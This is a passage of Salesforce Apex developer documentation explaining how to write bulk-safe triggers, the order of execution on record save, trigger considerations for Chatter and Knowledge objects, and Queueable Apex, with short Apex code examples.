Using Maps and Sets in Bulk Triggers

Set and map data structures are critical for successful coding of bulk triggers. Sets can be used to isolate distinct records, while maps can be used to hold query results organized by record ID.

For example, this bulk trigger from the sample quoting application first adds each pricebook entry associated with the OpportunityLineItem records in `Trigger.new` to a set, ensuring that the set contains only distinct elements. It then queries the PricebookEntries for their associated product color, and places the results in a map. Once the map is created, the trigger iterates through the OpportunityLineItems in `Trigger.new` and uses the map to assign the appropriate color.

```
// When a new line item is added to an opportunity, this trigger copies the value of the
// associated product's color to the new record.
trigger oppLineTrigger on OpportunityLineItem (before insert) {

    // For every OpportunityLineItem record, add its associated pricebook entry
    // to a set so there are no duplicates.
    Set<Id> pbeIds = new Set<Id>();
    for (OpportunityLineItem oli : Trigger.new)
        pbeIds.add(oli.pricebookentryid);

    // Query the PricebookEntries for their associated product color and place the results
    // in a map.
    Map<Id, PricebookEntry> entries = new Map<Id, PricebookEntry>(
        [select product2.color__c from pricebookentry
         where id in :pbeIds]);

    // Now use the map to set the appropriate color on every OpportunityLineItem processed
    // by the trigger.
    for (OpportunityLineItem oli : Trigger.new)
        oli.color__c = entries.get(oli.pricebookEntryId).product2.color__c;
}
```

Correlating Records with Query Results in Bulk Triggers

Use the `Trigger.newMap` and `Trigger.oldMap` ID-to-sObject maps to correlate records with query results. For example, this trigger from the sample quoting app uses `Trigger.oldMap` to create a set of unique IDs (`Trigger.oldMap.keySet()`).

The set is then used as part of a query to create a list of quotes associated with the opportunities being processed by the trigger. For every quote returned by the query, the related opportunity is retrieved from `Trigger.oldMap` and prevented from being deleted:

```
trigger oppTrigger on Opportunity (before delete) {
    for (Quote__c q : [SELECT opportunity__c FROM quote__c
                        WHERE opportunity__c IN :Trigger.oldMap.keySet()]) {
        Trigger.oldMap.get(q.opportunity__c).addError('Cannot delete
                                                        opportunity with a quote');
    }
}
```

Using Triggers to Insert or Update Records with Unique Fields

When an `insert` or `upsert` event causes a record to duplicate the value of a unique field in another new record in that batch, the error message for the duplicate record includes the ID of the first record. However, it is possible that the error message may not be correct by the time the request is finished.

When there are triggers present, the retry logic in bulk operations causes a rollback/retry cycle to occur. That retry cycle assigns new keys to the new records. For example, if two records are inserted with the same value for a unique field, and you also have an `insert` event defined for a trigger, the second duplicate record fails, reporting the ID of the first record. However, once the system rolls back the changes and re-inserts the first record by itself, the record receives a new ID. That means the error message reported by the second record is no longer valid.

Defining Triggers

Trigger code is stored as metadata under the object with which they are associated.

To define a trigger in Salesforce:

1. From the object management settings for the object whose triggers you want to access, go to Triggers.



Tip: For the Attachment, ContentDocument, and Note standard objects, you can't create a trigger in the Salesforce user interface. For these objects, create a trigger using development tools, such as the Developer Console or the Salesforce extensions for Visual Studio Code. Alternatively, you can also use the Metadata API.

2. In the Triggers list, click **New**.
3. To specify the version of Apex and the API used with this trigger, click Version Settings. If your organization has installed managed packages from the AppExchange, you can also specify which version of each managed package to use with this trigger. Associate the trigger with the most recent version of Apex and the API and each managed package by using the default values for all versions. You can specify an older version of a managed package if you want to access components or functionality that differs from the most recent package version.
4. Click Apex Trigger and select the `Is Active` checkbox if you want to compile and enable the trigger. Leave this checkbox deselected if you only want to store the code in your organization's metadata. This checkbox is selected by default.
5. In the `Body` text box, enter the Apex for the trigger. A single trigger can be up to 1 million characters in length.

To define a trigger, use the following syntax:

```
trigger TriggerName on ObjectName (trigger_events) {
    code_block
}
```

where `trigger_events` can be a comma-separated list of one or more of the following events:

- `before insert`

- before `update`
- before `delete`
- after `insert`
- after `update`
- after `delete`
- after `undelete`

**Note:**

- A trigger invoked by an `insert`, `delete`, or `update` of a recurring event or recurring task results in a runtime error when the trigger is called in bulk from the Lightning Platform API.
- Suppose that you use an after-insert or after-update trigger to change ownership of leads, contacts, or opportunities. If you use the API to change record ownership, or if a Lightning Experience user changes a record's owner, no email notification is sent. To send email notifications to a record's new owner, set the `triggerUserEmail` property in `DMLOptions` to `true`.

6. Click `Save`.

Note: Triggers are stored with an `isValid` flag that is set to `true` as long as dependent metadata has not changed since the trigger was last compiled. If any changes are made to object names or fields that are used in the trigger, including superficial changes such as edits to an object or field description, the `isValid` flag is set to `false` until the Apex compiler reprocesses the code. Recompiling occurs when the trigger is next executed, or when a user resaves the trigger in metadata.

If a lookup field references a record that has been deleted, Salesforce clears the value of the lookup field by default. Alternatively, you can choose to prevent records from being deleted if they're in a lookup relationship.

The Apex Trigger Editor

The Apex and Visualforce editor has the following functionality:

Syntax highlighting

The editor automatically applies syntax highlighting for keywords and all functions and operators.

Search ()

Search enables you to search for text within the current page, class, or trigger. To use search, enter a string in the `Search` textbox and click **Find Next**.

- To replace a found search string with another string, enter the new string in the `Replace` textbox and click **replace** to replace just that instance, or **Replace All** to replace that instance and all other instances of the search string that occur in the page, class, or trigger.
- To make the search operation case sensitive, select the **Match Case** option.
- To use a regular expression as your search string, select the **Regular Expressions** option. The regular expressions follow JavaScript's regular expression rules. A search using regular expressions can find strings that wrap over more than one line.

If you use the replace operation with a string found by a regular expression, the replace operation can also bind regular expression group variables (`$1`, `$2`, and so on) from the found search string. For example, to replace an `<h1>` tag with an `<h2>` tag and keep all the attributes on the original `<h1>` intact, search for `<h1 (\s+) (.*) >` and replace it with `<h2$1$2>`.

Go to line ()

This button allows you to highlight a specified line number. If the line is not currently visible, the editor scrolls to that line.

Undo (↶↷) and Redo (↷↶)

Use undo to reverse an editing action and redo to recreate an editing action that was undone.

Font size

Select a font size from the drop-down list to control the size of the characters displayed in the editor.

Line and column position

The line and column position of the cursor is displayed in the status bar at the bottom of the editor. This can be used with go to line

(→→) to quickly navigate through the editor.

Line and character count

The total number of lines and characters is displayed in the status bar at the bottom of the editor.

Triggers and Merge Statements

Merge events do not fire their own trigger events. Instead, they fire delete and update events as follows:

Deletion of losing records

A single merge operation fires a single delete event for all records that are deleted in the merge. To determine which records were deleted as a result of a merge operation use the `MasterRecordId` field in `Trigger.old`. When a record is deleted after losing a merge operation, its `MasterRecordId` field is set to the ID of the winning record. The `MasterRecordId` field is only set in `after delete` trigger events. If your application requires special handling for deleted records that occur as a result of a merge, you need to use the `after delete` trigger event.

Update of the winning record

A single merge operation fires a single update event for the winning record only. Any child records that are reparented as a result of the merge operation do not fire triggers.

For example, if two contacts are merged, only the delete and update contact triggers fire. No triggers for records related to the contacts, such as accounts or opportunities, fire.

The following is the order of events when a merge occurs:

1. The `before delete` trigger fires.
2. The system deletes the necessary records due to the merge, assigns new parent records to the child records, and sets the `MasterRecordId` field on the deleted records.
3. The `after delete` trigger fires.
4. The system does the specific updates required for the master record. Normal update triggers apply.

Triggers and Recovered Records

The `after undelete` trigger event only works with recovered records—that is, records that were deleted and then recovered from the Recycle Bin through the `undelete` DML statement. These are also called undeleted records.

The `after undelete` trigger events only run on top-level objects. For example, if you delete an Account, an Opportunity may also be deleted. When you recover the Account from the Recycle Bin, the Opportunity is also recovered. If there is an `after undelete` trigger event associated with both the Account and the Opportunity, only the Account `after undelete` trigger event executes.

The `after undelete` trigger event only fires for custom objects and these standard objects.

- Account
- Asset
- Campaign
- Case

- Contact
- ContentDocument
- Contract
- Event
- Lead
- Opportunity
- Product
- Solution
- Task

Triggers and Order of Execution

When you save a record with an `insert`, `update`, or `upsert` statement, Salesforce performs a sequence of events in a certain order.

Before Salesforce executes these events on the server, the browser runs JavaScript validation if the record contains any dependent picklist fields. The validation limits each dependent picklist field to its available values. No other validation occurs on the client side.



Note: For a diagrammatic representation of the order of execution, see the [Order of Execution Flowchart](#) in the *Salesforce Data Model Gallery*. The diagram is specific to the API version indicated on it, and can be out-of-sync with the information here. This *Apex Developer Guide* page contains the most up-to-date information on the order of execution for this API version. To access a different API version, use the version picker for the [Apex Developer Guide](#).

On the server, Salesforce performs events in this sequence.



Note: During a recursive save, Salesforce skips steps 9 (assignment rules) through 17 (roll-up summary field in the grandparent record).

1. Loads the original record from the database or initializes the record for an `upsert` statement.
2. Loads the new record field values from the request and overwrites the old values.

Salesforce performs different validation checks depending on the type of request.

- For requests from a standard UI edit page, Salesforce runs these system validation checks on the record:
 - Compliance with layout-specific rules
 - Required values at the layout level and field-definition level
 - Valid field formats
 - Maximum field length

Additionally, if the request is from a User object on a standard UI edit page, Salesforce runs custom validation rules.

- For requests from multiline item creation such as quote line items and opportunity line items, Salesforce runs custom validation rules.
 - For requests from other sources such as an Apex application or a SOAP API call, Salesforce validates foreign keys, field formats, maximum field lengths, and restricted picklists. Before executing a trigger, Salesforce verifies that any custom foreign keys don't refer to the object itself.
3. Executes record-triggered flows that are configured to run before the record is saved.
 4. Executes all `before` triggers.

5. Runs most system validation steps again, such as verifying that all required fields have a non-`null` value, and runs any custom validation rules. The only system validation that Salesforce doesn't run a second time (when the request comes from a standard UI edit page) is the enforcement of layout-specific rules.
6. Executes duplicate rules. If the duplicate rule identifies the record as a duplicate and uses the block action, the record isn't saved and no further steps, such as `after` triggers and workflow rules, are taken.
7. Saves the record to the database, but doesn't commit yet.
8. Executes all `after` triggers.
9. Executes assignment rules.
10. Executes auto-response rules.
11. Executes workflow rules. If there are workflow field updates:



Note: This sequence applies only to workflow rules.

- a. Updates the record again.
 - b. Runs system validations again. Custom validation rules, flows, duplicate rules, processes built with Process Builder, and escalation rules aren't run again.
 - c. Executes `before update` triggers and `after update` triggers, regardless of the record operation (insert or update), one more time (and only one more time)
12. Executes escalation rules.
 13. Executes these Salesforce Flow automations, but not in a guaranteed order.
 - Processes built with Process Builder
 - Flows launched by workflow rules (flow trigger workflow actions pilot)



Note: To control the order of execution of Salesforce Flow automations, use record-triggered flows. See [Manage Record-Triggered Flows](#)

When a process or flow executes a DML operation, the affected record goes through the save procedure.

14. Executes record-triggered flows that are configured to run after the record is saved
15. Executes entitlement rules.
16. If the record contains a roll-up summary field or is part of a cross-object workflow, performs calculations and updates the roll-up summary field in the parent record. Parent record goes through save procedure.
17. If the parent record is updated, and a grandparent record contains a roll-up summary field or is part of a cross-object workflow, performs calculations and updates the roll-up summary field in the grandparent record. Grandparent record goes through save procedure.
18. Executes Criteria Based Sharing evaluation.
19. Commits all DML operations to the database.
20. After the changes are committed to the database, executes post-commit logic. Examples of post-commit logic (in no particular order) include:
 - Sending email
 - Enqueued asynchronous Apex jobs, including queueable jobs and future methods
 - Asynchronous paths in record-triggered flows

Additional Considerations

Note these considerations when working with triggers.

- If a workflow rule field update is triggered by a record update, `Trigger.old` doesn't hold the newly updated field by the workflow after the update. Instead, `Trigger.old` holds the object before the initial record update was made. For example, an existing record has a number field with an initial value of 1. A user updates this field to 10, and a workflow rule field update fires and increments it to 11. In the `update` trigger that fires after the workflow field update, the field value of the object obtained from `Trigger.old` is the original value of 1, and not 10. See [Trigger.old values before and after update triggers](#).
- If a DML call is made with partial success allowed, triggers are fired during the first attempt and are fired again during subsequent attempts. Because these trigger invocations are part of the same transaction, static class variables that are accessed by the trigger aren't reset. See [Bulk DML Exception Handling](#).
- If more than one trigger is defined on an object for the same event, the order of trigger execution isn't guaranteed. For example, if you have two `before insert` triggers for Case and a new Case record is inserted. The firing order of these two triggers isn't guaranteed.
- To learn about the order of execution when you insert a non-private contact in your org that associates a contact to multiple accounts, see [AccountContactRelation](#).
- To learn about the order of execution when you're using `before` triggers to set `Stage` and `Forecast Category`, see [Opportunity](#).
- In API version 53.0 and earlier, after-save record-triggered flows run after entitlements are executed.

SEE ALSO:

[Salesforce Help: Triggers for Autolaunched Flows](#)

Operations That Don't Invoke Triggers

Some operations don't invoke triggers.

Triggers are invoked for Data Manipulation Language (DML) operations that the Java application server initiates or processes. Therefore, some system bulk operations don't invoke triggers. Some examples include:

 **Note:** Inserts, updates, and deletes on person accounts fire Account triggers, not Contact triggers.

- Cascading delete operations. Only records that initiate a `delete` cause trigger evaluation.
- Cascading updates of child records that are reparented as a result of a merge operation
- Mass campaign status changes
- Mass division transfers
- Mass address updates
- Mass approval request transfers
- Mass email actions
- Modifying custom field data types
- Renaming or replacing picklists
- Managing price books
- Changing a user's default division with the transfer division option checked
- Changes to these objects:
 - `BrandTemplate`
 - `MassEmailTemplate`

— Folder

- Update account triggers don't fire before or after a business account record type changes to person account. They also don't fire before or after a person account record type changes to business account.
- Update triggers don't fire on `FeedItem` when the `LikeCount` counter increases.

The `before` triggers associated with these operations fire during lead conversion only if validation and triggers for lead conversion are enabled in the organization:

- `insert` of accounts, contacts, and opportunities
- `update` of accounts and contacts

Opportunity triggers don't fire when:

- The account owner changes as a result of the associated opportunity's owner changing.
- The opportunity owner changes as a result of the associated account's owner changing.

The `before` and `after` triggers and the validation rules don't fire for an opportunity when:

- You modify an opportunity product on an opportunity.
- An opportunity product schedule changes an opportunity product, even if the opportunity product changes the opportunity.

However, roll-up summary fields do get updated, and workflow rules associated with the opportunity do run.

The `getContent` and `getContentAsPDF` `PageReference` methods aren't allowed in triggers.

Note the following for the `ContentVersion` object:

- Content pack operations involving the `ContentVersion` object, including slides and slide autorevision, don't invoke triggers.



Note: Content packs are revised when a slide inside the pack is revised.

- Values for the `TagCsv` and `VersionData` fields are only available in triggers if the request to create or update `ContentVersion` records originates from the API.
- You can't use `before` or `after delete` triggers with the `ContentVersion` object.

Triggers on the `Attachment` object don't fire when:

- The attachment is created via Case Feed publisher.
- The user sends email via the Email related list and adds an attachment file.

Triggers fire when the `Attachment` object is created via Email-to-Case or via the UI.

Entity and Field Considerations in Triggers

When you create triggers, consider the behavior of certain entities, fields, and operations.

QuestionDataCategorySelection Entity Not Available in After Insert Triggers

The `after insert` trigger that fires after inserting one or more `Question` records doesn't have access to the `QuestionDataCategorySelection` records that are associated with the inserted `Questions`. For example, the following query doesn't return any results in an `after insert` trigger:

```
QuestionDataCategorySelection[] dcList =
[select Id,DataCategoryName from QuestionDataCategorySelection where ParentId IN :questions];
```

Fields Not Updateable in Before Triggers

Some field values are set during the system save operation, which occurs after `before` triggers have fired. As a result, these fields cannot be modified or accurately detected in `before insert` or `before update` triggers. Some examples include:

- `Task.isClosed`
- `Opportunity.amount*`
- `Opportunity.ForecastCategory`
- `Opportunity.isWon`
- `Opportunity.isClosed`
- `Contract.activatedDate`
- `Contract.activatedById`
- `Case.isClosed`
- `Solution.isReviewed`
- `Id` (for all records)**
- `createdAt` (for all records)**
- `lastUpdated` (for all records)
- `Event.WhoId` (when Shared Activities is enabled)
- `Task.WhoId` (when Shared Activities is enabled)

* When `Opportunity` has no `lineitems`, `Amount` can be modified by a `before` trigger.

** `Id` and `createdAt` can be detected in `before update` triggers, but cannot be modified.

Fields Not Updateable in After Triggers

The following fields can't be updated by `after insert` or `after update` triggers.

- `Event.WhoId`
- `Task.WhoId`

Considerations for Event DateTime Fields in Insert and Update Triggers

We recommend using the following date and time fields to create or update events.

- When creating or updating a timed Event, use `ActivityDateTime` to avoid issues with inconsistent date and time values.
- When creating or updating an all-day Event, use `ActivityDate` to avoid issues with inconsistent date and time values.
- We recommend that you use `DurationInMinutes` because it works with all updates and creates for Events.

Operations Not Supported in Insert and Update Triggers

The following operations aren't supported in `insert` and `update` triggers.

- Manipulating an activity relation through the `TaskRelation` or `EventRelation` object, if Shared Activities is enabled
- Manipulating an invitee relation on a group event through the `Invitee` object, whether or not Shared Activities is enabled

Entities Not Supported in After Undelete Triggers

Certain objects can't be restored, and therefore, shouldn't have `after undelete` triggers.

- `CollaborationGroup`

- CollaborationGroupMember
- FeedItem
- FeedComment

Considerations for Update Triggers

Field history tracking honors the permissions of the current user. If the current user doesn't have permission to directly edit an object or field, but the user activates a trigger that changes an object or field with history tracking enabled, no history of the change is recorded.

Considerations for the Salesforce Side Panel for Salesforce for Outlook

When an email is associated to a record using the Salesforce Side Panel for Salesforce for Outlook, the email associations are represented in the `WhoId` or `WhatId` fields on a task record. Associations are completed after the task is created, so the `Task.WhoId` and `Task.WhatId` fields aren't immediately available in `before` or `after` Task triggers for insert and update events, and their values are initially `null`. The `WhoId` and `WhatId` fields are set on the saved task record in a subsequent operation, however, so their values can be retrieved later.

SEE ALSO:

[Triggers for Chatter Objects](#)

Triggers for Chatter Objects

You can write triggers for the `FeedItem` and `FeedComment` objects.

Trigger Considerations for FeedItem, FeedAttachment, and FeedComment

- Only `FeedItems` of type `TextPost`, `QuestionPost`, `LinkPost`, `HasLink`, `ContentPost`, and `HasContent` can be inserted, and therefore invoke the `before` or `after insert` trigger. User status updates don't cause the `FeedItem` triggers to fire.
- While `FeedPost` objects were supported for API versions 18.0, 19.0, and 20.0, don't use any insert or delete triggers saved against versions before 21.0.
- For `FeedItem`, the following fields aren't available in the `before insert` trigger:
 - `ContentSize`
 - `ContentType`

In addition, the `ContentData` field isn't available in any delete trigger.

- Triggers on `FeedItem` objects run before their attachment and capabilities information is saved, which means that `ConnectApi.FeedItem.attachment` information and `ConnectApi.FeedElement.capabilities` information may not be available in the trigger.

The attachment and capabilities information may not be available from these methods:

```
ConnectApi.ChatterFeeds.getFeedItem, ConnectApi.ChatterFeeds.getFeedElement,
ConnectApi.ChatterFeeds.getFeedPoll, ConnectApi.ChatterFeeds.getFeedElementPoll,
ConnectApi.ChatterFeeds.postFeedItem, ConnectApi.ChatterFeeds.postFeedElement,
ConnectApi.ChatterFeeds.shareFeedItem, ConnectApi.ChatterFeeds.shareFeedElement,
ConnectApi.ChatterFeeds.voteOnFeedPoll, and ConnectApi.ChatterFeeds.voteOnFeedElementPoll
```

- FeedAttachment isn't a triggerable object. You can access feed attachments in FeedItem *update* triggers through a SOQL query. For example:

```
trigger FeedItemTrigger on FeedItem (after update) {

    List<FeedAttachment> attachments = [SELECT Id, Title, Type, FeedEntityId
                                        FROM FeedAttachment
                                        WHERE FeedEntityId IN :Trigger.new ];

    for (FeedAttachment attachment : attachments) {
        System.debug(attachment.Type);
    }
}
```

- When you insert a feed item with associated attachments, the FeedItem is inserted first, then the FeedAttachment records are created. On update of a feed item with associated attachments, the FeedAttachment records are inserted first, then the FeedItem is updated. As a result of this sequence of operations, in Salesforce Classic FeedAttachment is available in *Update* and *AfterInsert* triggers. When the attachment is done through Lightning Experience, it's available in both the *Update* and *AfterInsert* triggers; but in the *AfterInsert* trigger, use the *future* method to access FeedAttachments.
- The following feed attachment operations cause the FeedItem *update* triggers to fire.
 - A FeedAttachment is added to a FeedItem and causes the FeedItem type to change.
 - A FeedAttachment is removed from a FeedItem and causes the FeedItem type to change.
- FeedItem triggers aren't fired when inserting or updating a FeedAttachment that doesn't cause a change on the associated FeedItem.
- You can't insert, update, or delete FeedAttachments in *before update* and *after update* FeedItem triggers.
- For FeedComment *before insert* and *after insert* triggers, the fields of a ContentVersion associated with the FeedComment (obtained through `FeedComment.RelatedRecordId`) aren't available.

Other Chatter Trigger Considerations

- Apex code uses extra security when executing in a Chatter context. To post to a private group, the user running the code must be a member of that group. If the running user isn't a member, you can set the `CreatedById` field to be a member of the group in the FeedItem record.
- When CollaborationGroupMember is updated, CollaborationGroup is automatically updated as well to ensure that the member count is correct. As a result, when CollaborationGroupMember *update* or *delete* triggers run, CollaborationGroup *update* triggers run as well.

SEE ALSO:

[Entity and Field Considerations in Triggers](#)

[Object Reference for Salesforce and Lightning Platform: FeedItem](#)

[Object Reference for Salesforce and Lightning Platform: FeedAttachment](#)

[Object Reference for Salesforce and Lightning Platform: FeedComment](#)

[Object Reference for Salesforce and Lightning Platform: CollaborationGroup](#)

[Object Reference for Salesforce and Lightning Platform: CollaborationGroupMember](#)

Trigger Considerations for Knowledge Articles

You can write triggers for KnowledgeArticleVersion objects. Learn when you can use triggers, and which actions don't fire triggers, like archiving articles.

In general, KnowledgeArticleVersion (KAV) records can use these triggers:

- Creating a KAV record calls the `before insert` and `after insert` triggers. This includes creating an article, and creating drafts from archived, published, and master-language articles using the Restore, Edit as Draft, and Submit for Translation actions.
- Editing an existing KAV record calls the `before update` and `after update` triggers.
- Deleting a KAV record calls the `before delete` and `after delete` triggers.
- Importing articles calls the `before insert` and `after insert` triggers. Importing articles with translations also calls the `before update` and `after update` triggers.

Actions that change the publication status of a KAV record, such as Publish and Archive, do not fire Apex or flow triggers. However, sometimes publishing an article from the UI causes the article to be saved, and in these instances the `before update` and `after update` triggers are called.

Knowledge Actions and Apex Triggers

Consider the following when writing Apex triggers for actions on KnowledgeArticleVersion:

Save, Save and Close

When an article is saved, the `before update` and `after update` triggers are called. When a new article is saved for the first time, the `before insert` and `after insert` triggers work instead.

Edit, Edit as Draft

- When a draft translation is edited, you can use the `before update` and `after update` triggers.
- The Edit as Draft action creates a draft from a published article, so the `before insert` and `after insert` triggers fire.
- In Salesforce Classic, no triggers fire when a draft master-language article is edited.
- In Salesforce Classic, the `before insert` and `after insert` triggers are called when editing an archived article from the Article Management tab. This creates a draft KAV record.

Cancel, Delete

The `before delete` and `after delete` triggers are called in these cases:

- When deleting a translation draft.
- From the Article Management or Knowledge tab in Salesforce Classic, after editing a published article and then clicking Cancel. This deletes the new draft.

Submit for Translation

This action creates a draft translation, so you can generally use the `before insert` and `after insert` triggers. In Salesforce Classic, you can use the `before update` and `after update` triggers when you create a new article from the Knowledge tab, save it, and then submit for translation. The `before update` and `after update` triggers fire when the master-language article is currently being edited, but not from list views or when viewing the article.

Assign

The `before update` and `after update` triggers are called only when doing so causes a record save first. This happens when the article is being edited before the Assign button is clicked.

Actions That Don't Fire Triggers

These actions can't fire Apex triggers:

- Undelete articles from the recycle bin.
- Preview and archive articles.

Impact on Lightning Migration

Migrating from Knowledge in Salesforce Classic to Lightning Knowledge affects Apex triggers. Writing an Apex trigger on KnowledgeArticleVersion objects creates dependencies and prevents the KAV object from being deleted. When you migrate an org with multiple article types to Lightning Knowledge, you must remove any Apex triggers that reference the KAV article types. During migration, admins see an error message if Apex triggers still reference the article type KAV objects that are deleted during migration. If you cancel Lightning Knowledge migration while Apex triggers exist that refer to the new KAV object, admins are notified and you must remove the Apex code.

Sample Knowledge Trigger

For example, you can define a trigger that enters summary text when an article is created.

```
trigger KAVTrigger on KAV_Type__kav (before insert) {
    for (KAV_Type__kav kav : Trigger.New) {
        kav.Summary__c = 'Updated article summary before insert';
    }
}
```

Trigger Exceptions

Triggers can be used to prevent DML operations from occurring by calling the `addError()` method on a record or field. When used on `Trigger.new` records in `insert` and `update` triggers, and on `Trigger.old` records in `delete` triggers, the custom error message is displayed in the application interface and logged.

 **Note:** Users experience less of a delay in response time if errors are added to `before` triggers.

A subset of the records being processed can be marked with the `addError()` method:

- If the trigger was spawned by a DML statement in Apex, any one error results in the entire operation rolling back. However, the runtime engine still processes every record in the operation to compile a comprehensive list of errors.
- If the trigger was spawned by a bulk DML call in the Lightning Platform API, the runtime engine sets aside the bad records and attempts to do a partial save of the records that did not generate errors. See [Bulk DML Exception Handling](#) on page 165.

If a trigger ever throws an unhandled exception, all records are marked with an error and no further processing takes place.

SEE ALSO:

[Apex Reference Guide: SObject.addError\(\)](#)

Trigger and Bulk Request Best Practices

A common development pitfall is the assumption that trigger invocations never include more than one record. Apex triggers are optimized to operate in bulk, which, by definition, requires developers to write logic that supports bulk operations.

This is an example of a flawed programming pattern. It assumes that only one record is pulled in during a trigger invocation. While this might support most user interface events, it does not support bulk operations invoked through SOAP API or Visualforce.

```
trigger MileageTrigger on Mileage__c (before insert, before update) {
    User c = [SELECT Id FROM User WHERE mileageid__c = :Trigger.new[0].id];
}
```

This is another example of a flawed programming pattern. It assumes that fewer than 100 records are in scope during a trigger invocation. If more than 100 queries are issued, the trigger would exceed the SOQL query limit.

```
trigger MileageTrigger on Mileage__c (before insert, before update) {
    for(mileage__c m : Trigger.new){
        User c = [SELECT Id FROM user WHERE mileageid__c = :m.Id];
    }
}
```

For more information on governor limits, see [Execution Governors and Limits](#).

This example demonstrates the correct pattern to support the bulk nature of triggers while respecting the governor limits:

```
Trigger MileageTrigger on Mileage__c (before update) {
    Set<ID> ids = Trigger.newMap.keySet();
    List<User> c = [SELECT Id FROM user WHERE mileageid__c in :ids];
}
```

This pattern respects the bulk nature of the trigger by passing the `Trigger.new` collection to a set, then using the set in a single SOQL query. This pattern captures all incoming records within the request while limiting the number of SOQL queries.

Best Practices for Designing Bulk Programs

The following are the best practices for this design pattern:

- Minimize the number of data manipulation language (DML) operations by adding records to collections and performing DML operations against these collections.
- Minimize the number of SOQL statements by preprocessing records and generating sets, which can be placed in single SOQL statement used with the `IN` clause.

SEE ALSO:

[Developing Code in the Cloud](#)

Asynchronous Apex

Apex offers multiple ways for running your Apex code asynchronously. Choose the asynchronous Apex feature that best suits your needs.

This table lists the asynchronous Apex features and when to use each.

Asynchronous Apex Feature	When to Use
Queueable Apex	• To start a long-running operation and get an ID for it • To pass complex types to a job • To chain jobs
Scheduled Apex	• To schedule an Apex class to run on a specific schedule

Asynchronous Apex Feature	When to Use
Batch Apex	- For long-running jobs with large data volumes that need to be performed in batches, such as database maintenance jobs - For jobs that need larger query results than regular transactions allow
Future Methods	- When you have a long-running method and need to prevent delaying an Apex transaction - When you make callouts to external Web services - To segregate DML operations and bypass the mixed save DML error

[Queueable Apex](#)

Take control of your asynchronous Apex processes by using the `Queueable` interface. Salesforce recommends that you use Queueable Apex instead of Apex future methods. Queueables have the same use cases as future methods but offer extra benefits, including job IDs, support for non-primitive types, and job chaining.

[Apex Scheduler](#)

Use the Apex Scheduler to delay execution so that you can run Apex classes at a specified time. This is ideal for daily or weekly maintenance tasks using Batch Apex.

[Batch Apex](#)

[Future Methods](#)

A future method runs asynchronously. You can call a future method to run long-running operations, such as callouts to external web services or any operation that you want to run in its own thread. You can also use future methods to isolate Data Manipulation Language (DML) operations on different sObject types to prevent the mixed DML error. Each future method is queued and runs when system resources become available. That way, the execution of your code doesn't wait for the completion of a long-running operation. A benefit of future methods is that some governor limits are higher, such as SOQL query limits and heap size limits.

Queueable Apex

Take control of your asynchronous Apex processes by using the `Queueable` interface. Salesforce recommends that you use Queueable Apex instead of Apex future methods. Queueables have the same use cases as future methods but offer extra benefits, including job IDs, support for non-primitive types, and job chaining.

Apex processes that run for a long time, such as extensive database operations or external web service callouts, can be run asynchronously by implementing the `Queueable` interface and adding a job to the Apex job queue. In this way, your asynchronous Apex job runs in the background in its own thread and doesn't delay the execution of your main Apex logic. Each queued job runs when system resources become available. A benefit of using the `Queueable` interface methods is that some governor limits are higher than for synchronous Apex, such as heap size limits.



Important: If an Apex transaction rolls back, any queueable jobs queued for execution by the transaction aren't processed.

Queueable jobs are similar to future methods in that they're both queued for execution, but they provide you with these additional benefits.

- Getting an ID for your job: When you submit your job by invoking the `System.enqueueJob` method, the method returns the ID of the new job. This ID corresponds to the ID of the `AsyncApexJob` record. Use this ID to identify and monitor your job, either through the Salesforce UI (Apex Jobs page), or programmatically by querying your record from `AsyncApexJob`.
- Using non-primitive types: Your queueable class can contain member variables of non-primitive data types, such as `sObjects` or custom Apex types. Those objects can be accessed when the job executes.
- Chaining jobs: You can chain one job to another job by starting a second job from a running job. Chaining jobs is useful if your process depends on another process to have run first.

You can set a maximum stack depth of chained Queueable jobs, overriding the default limit of five in Developer and Trial Edition organizations.

 **Note:** Variables that are declared `transient` are ignored by serialization and deserialization and the value is set to null in Queueable Apex.

Adding a Queueable Job to the Asynchronous Execution Queue

This example implements the `Queueable` interface. The `execute` method in this example inserts a new account. The `System.enqueueJob(queueable)` method is used to add the job to the queue.

```
public with sharing class AsyncExecutionExample implements Queueable {
    public void execute(QueueableContext context) {
        Account a = new Account(Name='Acme', Phone='(415) 555-1212');
        insert as user a;
    }
}
```

To add this class as a job on the queue, call this method:

```
ID jobID = System.enqueueJob(new AsyncExecutionExample());
```

 **Important:** When you call `System.enqueueJob`, Salesforce adds the process to the queue. Actual execution can be delayed based on service availability.

After you submit your queueable class for execution, the job is added to the queue and will be processed when system resources become available. You can monitor the status of your job programmatically by querying `AsyncApexJob` or through the user interface in Setup by entering *Apex Jobs* in the *Quick Find* box, then selecting **Apex Jobs**.

To query information about your submitted job, perform a SOQL query on `AsyncApexJob` by filtering on the job ID that the `System.enqueueJob` method returns. This example uses the `jobID` variable that was obtained in the previous example.

```
AsyncApexJob jobInfo = [SELECT Status,NumberOfErrors FROM AsyncApexJob WHERE Id = :jobID
    WITH USER_MODE];
```

Similar to future jobs, queueable jobs don't process batches, and so the number of processed batches and the number of total batches are always zero.

Adding a Queueable Job with a Specified Minimum Delay

Use the `System.enqueueJob(queueable, delay)` method to add queueable jobs to the asynchronous execution queue with a specified minimum delay (0–10 minutes). The delay is ignored during Apex testing.

See `System.enqueueJob(queueable, delay)` in the *Apex Reference Guide*.

 **Warning:** When you set the delay to 0 (zero), the queueable job is run as quickly as possible. With chained queueable jobs, implement a mechanism to slow down or halt the job if necessary. Without such a fail-safe mechanism in place, you can rapidly reach the daily async Apex limit.

In the following cases, it would be beneficial to adjust the timing before the queueable job is run.

- If the external system is rate-limited and can be overloaded by chained queueable jobs that are making rapid callouts.
- When polling for results, and executing too fast can cause wasted usage of the daily async Apex limits.

This example adds a job for delayed asynchronous execution by passing in an instance of your class implementation of the `Queueable` interface for execution. There's a minimum delay of 5 minutes before the job is executed.

```
Integer delayInMinutes = 5;
ID jobId = System.enqueueJob(new MyQueueableClass(), delayInMinutes);
```

Admins can define a default org-wide delay (1–600 seconds) in scheduling queueable jobs that were scheduled without a delay parameter. Use the delay setting as a mechanism to slow default queueable job execution. If the setting is omitted, Apex uses the standard queueable timing with no added delay.

 **Note:** Using the `System.enqueueJob(queueable, delay)` method ignores any org-wide enqueue delay setting.

Define the org-wide delay in one of these ways.

- From Setup, in the Quick Find box, enter *Apex Settings*, and then enter a value (1–600 seconds) for **Default minimum enqueue delay (in seconds) for queueable jobs that do not have a delay parameter**
- To enable this feature programmatically with Metadata API, see [ApexSettings](#) in the *Metadata API Developer Guide*.

Adding a Queueable Job with a Specified Stack Depth

